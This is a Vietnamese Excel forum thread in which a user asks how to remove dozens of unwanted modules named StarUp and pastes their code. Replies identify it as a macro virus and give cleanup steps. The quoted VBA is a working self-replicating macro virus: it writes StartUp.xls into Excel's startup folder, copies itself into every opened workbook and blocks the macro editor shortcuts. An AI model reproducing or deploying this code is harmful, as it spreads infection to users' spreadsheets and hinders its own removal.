Cách xóa các Module lạ

[duynhat84]

[FONT=&quot][/FONT]Trong File của em Tự nhiên xuất hiện gần 50 Moduml có tên là StarUp1,StarUp2....
chúng đều có các đoạn Code như dưới đây: , không biết có phải vì nó mà khi mở file ở một số máy nó tự đẻ thêm dất nhiều Sheet mới có tên là StaUp1,2,... hay không ? đồng thời làm màm hình rật liên tục, em muốn xóa bỏ các Moduml đó đi, hoặc xóa chính Modules của em tạo ra nhưng thừa thì làm như nào ?,
Nhờ các Anh Chi giúp đỡ em cảm ơn nhiều


Em gửi File kèm theo là hình em chụp để mọi người hiểu hơn những gì em diễn tả
và đây là code trong các moduml lạ đó
Sub auto_open()

On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub

Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub

Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

 

[ndu96081631]

Trong File của em Tự nhiên xuất hiện gần 50 Moduml có tên là StarUp1,StarUp2....

Đó là virus ---> Xóa hết chúng đi
Nếu bạn đang dùng Office 2007 hoặc 2010 thì có cách đơn giản khác: Save file thành định dạng XLSX ---> Bảo đảm code kiết gì cũng đi Siberia ở hết

 

[duynhat84]

Nhưng em chỉ xóa được code bên trong nó mà không biết cách xó bỏ luôn cái moduml đó đi

 

[hungpecc1]

Đó là virus ---> Xóa hết chúng đi

Nếu bạn đang dùng Office 2007 hoặc 2010 thì có cách đơn giản khác: Save file thành định dạng XLSX ---> Bảo đảm code kiết gì cũng đi Siberia ở hết

Nếu mà người dùng không để : Trust Access to the VBA Project Oject Mode thi code trên có ảnh hưởng gì không nhj !

 

[hungpecc1]

Nhưng em chỉ xóa được code bên trong nó mà không biết cách xó bỏ luôn cái moduml đó đi

Đã có virut thì save as sang định dạng Xlsx
Hoặc nếu bạn đủ trình " chơi " được VBA, thì dùng code để vọc lại, code tạo mới và xóa code VBA thì trên GPE cũng có 1 vài cái rồi

 

[ndu96081631]

Nhưng em chỉ xóa được code bên trong nó mà không biết cách xó bỏ luôn cái moduml đó đi

Mở Windows Explorer lên, tìm thư mục tên XLSTART. Xem trong thư mục ấy, có file nào cứ xoá thẳng tay (đó là cái "gốc" của ung thư đấy)

 

[PhanTuHuong]

Con này là virus lởm, không cho lưu lại mà bắt tạo tên mới. Nếu bạn dùng Office 2007 (nên dùng) thì Save As và đặt đuôi mới xlsx như bác ndu nói. Nhưng cần chú ý là đảm bảo tập tin đó không dùng macro (hay VBA) trong công việc, nếu không cả virus cũng VBA cùng tèo hết!

 

[duynhat84]

Của em là Excel 2003 nên định dạng XLsx không mở được

 

[PhanTuHuong]

Của em là Excel 2003 nên định dạng XLsx không mở được

Cách đơn giản nhất là bạn dùng Bkav quét, sạch hết macro kiểu này.